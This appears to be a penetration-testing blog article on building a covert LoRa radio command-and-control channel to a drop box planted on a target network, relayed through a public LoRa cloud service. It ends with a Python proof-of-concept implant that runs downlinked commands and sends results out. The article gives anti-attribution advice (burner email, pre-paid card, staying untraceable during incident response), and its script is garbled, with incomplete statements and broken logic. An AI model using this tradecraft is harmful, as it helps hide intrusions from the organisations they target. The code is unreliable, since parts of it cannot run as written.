This article will focus on using a LoRa to create a side channel using a public LoRa infrastructure. By using a gateway and endpoints defined in a LoRa network service, it is possible to create a functional means to issue commands and receive data from a placed drop box. This article will look at using a public LoRa cloud service to simplify this method to the reader. However, it is also possible to host a private LoRaWAN server, which will provide the same service as a cloud service provider but remain anonymous in an IR event.


LoRa is a low power radio device that allows for sending small packets far distances. LoRa operates in the frequency ranges, 169MHz (Asia), 868 MHz (Europe) and 915 MHz (North America) and has a range of up to 6 miles. Features of LoRa include media access controls and the encryption transmissions. LoRa is currently being used to provide status and control of devices in remote or inconvenient locations, such as windmills, solar panels and farm watering systems.

In penetration testing a side channel is a means to access a device that is hidden from a target’s monitoring. Historically this has meant using Wi-Fi or LTE instead of sending egress traffic over a target’s network.

LoRa, as all side channels, offers some pros and cons. One of the biggest advantages is the unmonitored frequencies and the range of LoRa. Unlike Wi-Fi, currently there is no monitoring solution for companies to detect a rogue LoRa signal within a location. Additionally, unlike LTE or cellular service, LoRa can be setup to offer an untraceable remote access.

The main disadvantage is the small packet size (a packet can have a max of 222 bytes, In my testing, I expect a DR3 rate or transmission packet size of 115 byte that maximizes range and stability of the connection). Other disadvantages are half duplex communication and a requirement to write custom code to execute commands. When using public cloud services, it could be possible to trace the LoRa end point to an account but a point-to-point or hosting a private LoRaWAN server setup makes this extremally unlikely to ever be traced.

Lab Equipment

  • LA66 USB LoRaWAN Adapter: Cost $20-$35 – This is a flexible serial to LoRa module that has P2P firmware supporting the open-source peer-to-peer LoRa protocol. The shipped firmware is ready for registration with its world-unique OTAA key, clear documentation, and AT command support.
  • The Things Indoor LoRaWAN Wi-Fi Gateway – 8 Channel LoRa 900 MHz: Cost ~$110 – This gateway is designed by The Things Network (TTN) that uses Wi-Fi for connection to TTN. It can be powered by a USB-C cable for in-the-field deployment or a wall outlet. The range in my testing has been ~ .5 to 2 miles, depending on placement and urban environment.

LoRa Service

The Things Network (TTN) – TTN network is one of several LoRa service provider networks. However, TTN offers a community edition that allows for up to 10 devices for free. It does require a credit card and email address, but these can be a burner email address and a pre-paid debit card. This network offers the ability to hook into an authenticated MQTT service, Azure IoT, AWS IoT, or other web endpoint of external programming control. TTN provides everything a self-funded researcher needs.

For open source LoRaWAN servers, to host a private LoRaWAN server, several GitHub projects exist as well as commercial devices that can be purchased for affordable cost.

The last bit of knowledge required is learning the AT command syntax. DRAGINO provides the DRAGINO_L66_AT_Commands_v1.0.pdf documentation via Dropbox. This document explains all the supported AT commands. Please note the command format is not always correct, at least for me or my device firmware. For example, to send data, the PDF says to use the command: AT+SENDB=12:abcdef0123456789. However, this causes the unit to reboot, so use the command format AT+SENDB=<confirn_status>,<Fport>,<data_len>,<data> or AT+SENDB=01,02,7,AECACACA45FFFE. Using the confirm status of “01”, in my use of the TTN backend seems to be the only way to get data uploaded and downloaded in real time.

The setup of TTN backend is out of scope for this article, but product documentation makes this a trivial exercise. For an overview of setting up a gateway, application, and endpoint, use this article.

Connecting the L66 to the drop box or a Linux based system creates a USB serial tty device without the need of any drivers or software to build. This makes it easy to troubleshoot and getting started learning by using screen, picoterm, or your favorite terminal program. For this article I used a Mac Pro for convenience, but everything translates to an Debian or Ubuntu based ARM device.

USB seral device

The LA66, once configured to the TTN backend, automatically handles authentication to your TTN account. Connecting to the device via screen or use of AT+NJS to view the join status should show the device is connected to the TTN backend.

LA66 joined status message

At this point you can attempt to send commands, such as AT+SENDB=01,02,1,00. This command says send 1 bit of binary data, “00”, on fport 2. I have not had success sending ASCII text with the AT+SEND command, but this could be an error in my understanding.

This uploaded data can be viewed under the Live data section in the TTN console as seen below.

LoRa Live data feed

For sending data down to the LA66, this is done by using the Messaging page. Make sure to check the “Confirmed downlink” checkbox. Pressing the “Schedule downlink” button places the message on the queue for the LA66 to pick up. Message page

Message sending and receiving are under the control of the LA66 endpoint device. This means that communications only happen when the device checks in or sends a message. The POC code uses a 30-second delay and sends a payload of “00”, which I used to mean no command data is being returned. If a message has been received by the backend, the LA66 provide the notification of Run AT+RECV=? To see the details. The POC code reads the status line after each send looking for the message Run AT+RECV=? to see what code to run. Note the AT+RECV is not cleared unless a new message is received.

The following screenshot shows this logic using the screen program.

Downloaded LoRa message waiting in queue

Screen output:

Screen output

Proof of Concept Script

(PS – I know some things, but good programming style is not one of them)

import os
import serial
import time
import binascii
import re

ser = serial.Serial('/dev/tty.usbserial-0001') # fix - logic to find correct device but POC

ser.baudrate = 9600
ser.bytesize = 8
ser.parity = 'N'
ser.stopbits = 1
ser.timeout = None
ser.xonxoff = 0
ser.rtscts = 0
ser.timeout = 10
data = '00'
next_cmd = '00' # Fix - array or SQLITE DB would be better but POC

def send(fp, data):
   data = binascii.hexlify(data.encode('UTF-8'))
   d_up = f'AT+SENDB=01,{fp},{int(len(data) / 2)},{str(data,"ascii")}\r\n'
   d_up = d_up.encode(encoding="UTF-8")

def recv():
   d_down = 'AT+RECVB=?\r\n'
   d_down = d_down.encode(encoding="UTF-8")

def readline():
   global next_cmd
   line =
   #Run AT+RECVB=? to see detail
   if (line.find(b'Run AT+RECVB=?') != -1):
      #set recv flag
      s = re.split(r"[~\r\n]+",str(,'ascii'))
      # for POC only allow one command to come in
      if next_cmd == '00':
         next_cmd = cmd(s[0])

def cmd(run_me):
   # fport can be used to determine what type of activity
   # the first element is fport
   do = run_me.split(':')
   if do[0] == "1":
      print("case 1")
      results = os.getcwd()
   elif do[0] == "2":
      print("case 2")
   elif do[0] == "3":
      print("case 3")
   next_cmd = '00'
   return results

while True:
   # TX can only have a certain number of bytes: DR3 = 115 max
   # using fport on the TX to show how much data to reassemble
   fp = 1
   if len(data) > 110:
      i = 0
      while i < len(data):
      if i+110 < len(data):
         send(fp, data[i:i+110])
         # since half duplex need to see if new command came in
         # should not but we like to stack c2 commands. Can improve using fix lengths or
         # waiting to 00 send to show waiting for command
         # remember this is POC; if things set messed up download message 04FE to
         # cause LA66 to reboot
      i += 110
      if fp > 220: # fport 224 – 255 are reserved
      fp += 1
      send('01', data)
   data = next_cmd

The following screen shows the running of the POC code and the resulting output.

POC output

For this article the download message of 1:araddeadfffe triggers the POC code to run the command os.getcwd(). The POC code runs and send the message with the hex data of the directory the program runs in. The following shows this by converting the payload: 2f55736572732f7061747269636b6d617474686577732f4465736b746f70 into ASCII.

Command execution results:

Command execution results

To make this more functional for penetration testing engagements, we can create a program to run command creation and reading the returned data. TTN offers several options such as using the authenticated MQTT service or Storage integration to fully use LoRa as part of any C2 application or drop box deployment.

As the POC code shows, using a LoRa side channel in this article’s configuration is best for doing initial reconnaissance, passive network listening, controlling interactive sessions enabling, and resetting a drop box. For interactive sessions over LoRa, several projects currently show how to create SSH sessions using the AX.25 protocol. This is requires using a point-to-point configuration. Using the point-to-point side channel requires more configuration to set up the LoRaWAN endpoints to communicate, but is easy to do as I will show in a later article.

Helpful Hints

  1. If you lose the LA66 devices IDs and app keys, the AT+CFG command provides you the data needed to connect the device as an end device to TTN or other service providers.
  2. Sending a message of 04FE to the device will trigger the LA66 to reset.
  3. The POC code used fport number to get around the 115 byte limit of DR3 transmit packet size. I use the fport number to reassemble results with more then 115 bytes.
  4. Any command results that are large in nature should to be stored on the drop box for accessing with an interactive session.